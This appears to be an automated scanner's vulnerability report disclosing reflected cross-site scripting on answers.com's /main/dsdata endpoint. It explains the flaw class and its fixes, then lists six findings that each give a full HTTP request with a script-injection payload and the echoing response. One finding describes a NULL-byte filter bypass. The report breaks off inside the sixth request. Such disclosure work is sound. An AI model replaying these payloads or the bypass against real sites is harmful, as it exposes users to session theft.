XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www.answers.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.answers.com/main/dsdata [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ccec5<script>alert(1)</script>06721cb5f79 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ccec5<script>alert(1)</script>06721cb5f79/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/topic/cross-site-scripting-1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; CP=null*; activeRadio=all; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.1.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeTab=ask; __qca=P0-867033900-1313775823394; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; ab_test=ab=t270; afid=0; GNFirstVisit=1313776443753; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page; WSS_GW=V1z%X%X@@Qiri; CTG=1313776444

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:54:37 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:37 GMT; Path=/
Set-Cookie: afid=67; Expires=Sun, 11-Aug-2041 17:54:37 GMT; Path=/
Set-Cookie: tacodaSession="Google Definition Link"; Path=/
Set-Cookie: nafid=0201a54e782821c7e59ea9e0; Path=/
Set-Cookie: referrerDomainSession=www.google.com; Path=/
Set-Cookie: firstPageTypeSession=topic-page; Path=/
Set-Cookie: govLookup=; Domain=.answers.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Content-Length: 139844

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html class="Safari" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebo
...[SNIP]...
<span class="redirectedfrom" style="margin-left:7px;">Redirected from "ccec5<script>alert(1)</script>06721cb5f79/dsdata"</span>
...[SNIP]...

1.2. http://www.answers.com/main/dsdata [cid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The value of the cid request parameter is copied into the HTML document as plain text between tags. The payload e4ec6<script>alert(1)</script>45a4e7cdd62 was submitted in the cid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576e4ec6<script>alert(1)</script>45a4e7cdd62&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/topic/cross-site-scripting-1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; CP=null*; activeRadio=all; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.1.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeTab=ask; __qca=P0-867033900-1313775823394; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; ab_test=ab=t270; afid=0; GNFirstVisit=1313776443753; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page; WSS_GW=V1z%X%X@@Qiri; CTG=1313776444

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:54:27 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:27 GMT; Path=/
Set-Cookie: afid=67; Expires=Sun, 11-Aug-2041 17:54:27 GMT; Path=/
Set-Cookie: tacodaSession="Google Definition Link"; Path=/
Set-Cookie: nafid=0201a54e782821c7e59ea9e0; Path=/
Set-Cookie: referrerDomainSession=www.google.com; Path=/
Content-Length: 2814

<html>
<head>
<title>Lookup Error</title>
<script id="clientEventHandlersJS" language="javascript">
<!--
function btnDetails_onclick() {
document.getElementById("txtDetails").style.visibility = "visi
...[SNIP]...
<textarea id="txtDetails" style="visibility:hidden" rows="20" wrap="off" cols="80">
java.lang.NumberFormatException: For input string: "9964576e4ec6<script>alert(1)</script>45a4e7cdd62"
   at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
   at java.lang.Integer.parseInt(Integer.java:456)
   at java.lang.Integer.parseInt(Integer.java:497)
   at com.atomica.con
...[SNIP]...

1.3. http://www.answers.com/main/dsdata [dsid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The value of the dsid request parameter is copied into the HTML document as plain text between tags. The payload 9f211<script>alert(1)</script>3a49de4c1f was submitted in the dsid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /main/dsdata?ntabs=3&dsid=24749f211<script>alert(1)</script>3a49de4c1f&templateid=1&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/topic/cross-site-scripting-1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; CP=null*; activeRadio=all; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.1.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeTab=ask; __qca=P0-867033900-1313775823394; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; ab_test=ab=t270; afid=0; GNFirstVisit=1313776443753; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page; WSS_GW=V1z%X%X@@Qiri; CTG=1313776444

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:54:26 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:26 GMT; Path=/
Set-Cookie: afid=67; Expires=Sun, 11-Aug-2041 17:54:26 GMT; Path=/
Set-Cookie: tacodaSession="Google Definition Link"; Path=/
Set-Cookie: nafid=0201a54e782821c7e59ea9e0; Path=/
Set-Cookie: referrerDomainSession=www.google.com; Path=/
Content-Length: 2806

<html>
<head>
<title>Lookup Error</title>
<script id="clientEventHandlersJS" language="javascript">
<!--
function btnDetails_onclick() {
document.getElementById("txtDetails").style.visibility = "visi
...[SNIP]...
<textarea id="txtDetails" style="visibility:hidden" rows="20" wrap="off" cols="80">
java.lang.NumberFormatException: For input string: "24749f211<script>alert(1)</script>3a49de4c1f"
   at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
   at java.lang.Integer.parseInt(Integer.java:456)
   at java.lang.Integer.parseInt(Integer.java:497)
   at com.atomica.con
...[SNIP]...

1.4. http://www.answers.com/main/dsdata [s parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The value of the s request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 72ef7</script><script>alert(1)</script>63d843829a0 was submitted in the s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=ccec5%26lt%3Bscript%26gt%3Balert%28document.location%29%26lt%3B%2Fscript%26gt%3B06721cb5f79%2Fdsdata72ef7</script><script>alert(1)</script>63d843829a0&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&didYouMeanLength=4&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=5.508445169281085E8&method=4&ab=t270&tname=cross-site-scripting-1&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/ccec5%3Cscript%3Ealert(document.location)%3C/script%3E06721cb5f79/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; activeTab=ask; __qca=P0-867033900-1313775823394; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; GNFirstVisit=1313776443753; CTG=1313776444; CP=null*; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.2.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeRadio=all; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; AxData=; Axxd=1; ab_test=ab=t270; afid=0; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:58:56 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:58:56 GMT; Path=/
Set-Cookie: afid=67; Expires=Sun, 11-Aug-2041 17:58:56 GMT; Path=/
Set-Cookie: tacodaSession="Google Definition Link"; Path=/
Set-Cookie: nafid=0201a54e73803c1ab363e1668; Path=/
Set-Cookie: referrerDomainSession=www.google.com; Path=/
Content-Length: 2586

        <script xmlns:GoogleUtils="com.atomica.dataServer.utils.GoogleSearchUtils" xmlns:translationManager="com.atomica.common.utils.TranslationManager" type="text/javascript" language="JavaSc
...[SNIP]...
x_num_ads =7;
   google_ad_type = 'text';


           google_language = 'en';


   google_encoding = 'utf8';
   google_contents = 'ccec5<script>alert(document.location)</script>06721cb5f79/dsdata72ef7</script><script>alert(1)</script>63d843829a0';
   google_safe = 'medium';
   google_adtest = 'off';
   google_ad_channel = 'ca-topic_page_1 ca_Technology RA_US';
   if (typeof jwgData == "undefined")
       var jwgData = {config:{},articleData:{}};

...[SNIP]...

1.5. http://www.answers.com/main/dsdata [s parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The value of the s request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %005f81f</script><script>alert(1)</script>5e7c0cb5e4c was submitted in the s parameter. This input was echoed as 5f81f</script><script>alert(1)</script>5e7c0cb5e4c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=%005f81f</script><script>alert(1)</script>5e7c0cb5e4c&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/topic/cross-site-scripting-1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; CP=null*; activeRadio=all; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.1.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeTab=ask; __qca=P0-867033900-1313775823394; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; ab_test=ab=t270; afid=0; GNFirstVisit=1313776443753; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page; WSS_GW=V1z%X%X@@Qiri; CTG=1313776444

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:54:30 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:30 GMT; Path=/
Set-Cookie: afid=67; Expires=Sun, 11-Aug-2041 17:54:30 GMT; Path=/
Set-Cookie: tacodaSession="Google Definition Link"; Path=/
Set-Cookie: nafid=0201a54e782821c7e59ea9e0; Path=/
Set-Cookie: referrerDomainSession=www.google.com; Path=/
Content-Length: 2514

        <script xmlns:GoogleUtils="com.atomica.dataServer.utils.GoogleSearchUtils" xmlns:translationManager="com.atomica.common.utils.TranslationManager" type="text/javascript" language="JavaSc
...[SNIP]...
nt = 'ca-gurunet_threshold_js';
   google_ad_output = 'js';
   google_max_num_ads =7;
   google_ad_type = 'text';


           google_language = 'en';


   google_encoding = 'utf8';
   google_contents = '5f81f</script><script>alert(1)</script>5e7c0cb5e4c';
   google_safe = 'medium';
   google_adtest = 'off';
   google_ad_channel = 'ca-topic_page_1 ca_Technology RA_US';
   if (typeof jwgData == "undefined")
       var jwgData = {config:{},articleData:{}};

...[SNIP]...

1.6. http://www.answers.com/main/dsdata [templateid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The value of the templateid request parameter is copied into the HTML document as plain text between tags. The payload d4c02<script>alert(1)</script>b7e2e8109d7 was submitted in the templateid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1d4c02<script>alert(1)</script>b7e2e8109d7&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/topic/cross-site-scripting-1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; CP=null*; activeRadio=all; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.1.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeTab=ask; __qca=P0-867033900-1313775823394; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; ab_test=ab=t270; afid=0; GNFirstVisit=1313776443753; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page; WSS_GW=V1z%X%X@@Qiri; CTG=1313776444
